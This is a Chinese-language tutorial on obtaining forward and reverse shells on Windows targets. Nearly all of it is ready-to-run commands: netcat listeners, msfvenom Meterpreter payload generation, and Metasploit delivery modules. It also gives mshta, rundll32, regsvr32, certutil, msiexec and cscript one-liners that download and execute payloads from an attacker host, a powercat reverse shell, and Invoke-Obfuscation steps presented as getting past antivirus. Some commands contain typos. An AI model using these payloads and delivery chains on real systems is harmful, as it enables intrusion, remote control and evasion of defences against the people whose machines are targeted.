正向shell: 控制端主動發起連接請求去連接被控制端,中間網絡鏈路不存在阻礙。 反向shell(反彈shell): 被控端主動發起連接請求去連接控制端,通常被控端由於防火牆限制、權限不足、埠 被佔用等問題導致被控端不能正常接收發送過來的數據包。
ncnc正向shell被控端: nc -lvvp 6666 -e cmd.exe 開啟監聽
控制端: nc 192.168.1.62 6666
此原理就是,被控端將cmd.exe重定向到本地的6666埠,控制端主動連接被控端的6666埠,即可獲得shell
控制端
nc -lvvp 6666 開啟監聽被控制端 nc.exe -e cmd.exe 192.168.8.31 6666 ·
被控端將cmd.exe重定向到控制端的6666埠,控制端只需要監聽本地的6666埠,即可獲得shell。
Microsoft HTML Application,用於執行 .hta文件
1. 通過msf的HTA Web Server模塊發起HTA攻擊use exploit/windows/misc/hta_server
set srvhost 192.168.8.31
run
執行成功後會自動開啟一個http服務,並返回一個url
被控端執行url回彈成功
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6667 -f hta-psh -o 6667.hta
開啟監聽
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 4444
開啟一個http服務,用於被控制端下載執行hta文件被控制端執行反彈成功
生成一個hta文件,然後開一個http的服務
成功後返回一個url,同理使用 mshta.exe執行即可
Rundll32.exe與Windows作業系統相關,它允許調用從DLL導出的函數(16位或32位),並將其存儲在適當的內存庫中。
1. 通過msf的SMB Delivery模塊use exploit/windows/smb/smb_delivery
set srvhost 192.168.8.31
run -j
注意這裡需要sudo權限執行msf,這裡會返回一個url
被控制端執行
rundll32.exe \\192.168.8.31\jVYTL\test.dll,0
這個模塊的smb版本太低了,所以win10運行會失敗,如果被控制端是win7則是ok的,這裡就不再演示了。
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6668 -f dll > 6668.dll
msf進行埠的監聽將dll文件下載到被控制端,並用rundll32.exe執行
rundll32.exe shell32.dll,Control_RunDLL C:\Users\asus\Desktop\6668.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=6669 -f hta-psh > 6669.hta
msf開啟監聽,下載此文件到被控制端 執行文件 rundll32.exe url.dll OpenURL 6669.hta反彈成功
Regsvr32.exe是一個命令行應用程式,用於註冊和註銷OLE控制項,如Windows註冊表中的dll和ActiveX控制項。Regsvr32.exe安裝在Windows XP和Windows後續版本的 %systemroot%\System32 文件夾中。
語法如下
use exploit/multi/script/web_delivery
msf exploit (web_delivery)> set srvhost 192.168.8.31
msf exploit (web_delivery)> set target 3
msf exploit (web_delivery)> set payload windows/x64/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.8.31
msf exploit (web_delivery)> exploit –j
被控制端執行這條命令
反彈成功
Certutil.exe是作為證書服務的一部分安裝的命令行程序。我們可以使用此工具在目標計算機中執行惡意的exe文 件以獲得meterpreter會話。
msfvenom生成惡意exe文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7001 -f exe > 7001.exe開啟http服務用於下載惡意文件 然後通過certuil下載並執行文件
certutil.exe -urlcache -split -f http://192.168.8.31:8000/7001.exe 7001.exe
./7001.exe
·反彈成功
清除日誌 certutil.exe -urlcache -split -f http://192.168.8.31:8000/shell.exe delete
powercat是powershell本地後門偵聽器和反向shell工具,也稱為修改版本的netcat,集成支持經過編碼的有效載荷。
下載地址
下載之後開啟http服務,用於遠程加載powercat文件 控制端監聽埠
被控制端執行,轉發cmd命令到7002埠
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.8.31:8000/powercat.ps1');powercat -c 192.168.8.31 -p 7002 -e cmd"
反彈成功
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
run -j
被控制端執行相應的命令即可
反彈成功
powershell允許客戶端通過執行cscript.exe來運行wsf、js、vbscript腳本。
msfvenom生成惡意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7003 -f vbs -o 7003.vbs開啟一個http服務,然後開啟一個handler監聽 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 7003
被控制端執行
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.8.31:8000/7003.vbs','C:\Users\asus\Desktop\7003.vbs');Start-Process C:\Windows\System32\cscript.exe C:\Users\asus\Desktop\7003.vbs"
回彈成功
powershell允許客戶端執行bat文件
通過msfvenom生成bat惡意文件
msfvenom -p cmd/windows/powershell_reverse_tcp lhost=192.168.831 lport=7004 -o 7004.bat
msf開啟監聽,然後開啟http服務用於被控制端下載惡意文件 handler -p cmd/windows/powershell_reverse_tcp -H 192.168.8.31 -P 7004
被控制端執行惡意文件 powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.8.31:8000/7004.bat')" 反彈成功
msfvenom生成惡意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7006 -f exe -o 7006.exemsf開啟監聽 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.8.31 -P 7006
執行惡意文件,下面兩種方式都可以
powershell (new-object
System.Net.WebClient).DownloadFile('http://192.168.8.31:8000/7006.exe','1.exe');start 1.exe
powershell -ep bypass -nop -w hidden (new-object
system.net.webclient).downloadfile('http://192.168.8.31:8000/7006.exe','1.exe');start-process 1.exe
反彈成功
這是Windows Installer的一部分,用於安裝Windows Installer安裝包(MSI)
生成惡意文件 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7005 -f mis 7005.msi
msf開啟監聽,同時開啟http服務用於下載惡意文件
執行惡意文件 msiexec /q /i http://192.168.8.31:8000/7005.msi這個先佔個坑吧,沒查出來有要怎麼解決
這裡主要介紹Invoke-Obfuscation這款工具,可以去github上下載,傳送門
啟動Invoke-Obfuscation
powershell -ep bypass
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
先用msfvenom生成一個ps1文件 sfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.8.31 lport=7007 --arch x64 --platform wiindows -f psh-reflection -o 7007.ps1
啟動完成過後,設置混淆腳本代碼的位置 set scriptpath C:\Users\asus\Desktop\7007.ps1選擇混淆方式為 TOKEN\ALL\1
保存混淆之後的腳本 out out.ps1
執行混淆後的文件,反彈成功了,火絨沒攔截
總結主要就是通過msfvenom生成惡意文件,然後想辦法傳到被控制端,通過相應的軟體執行惡意文件。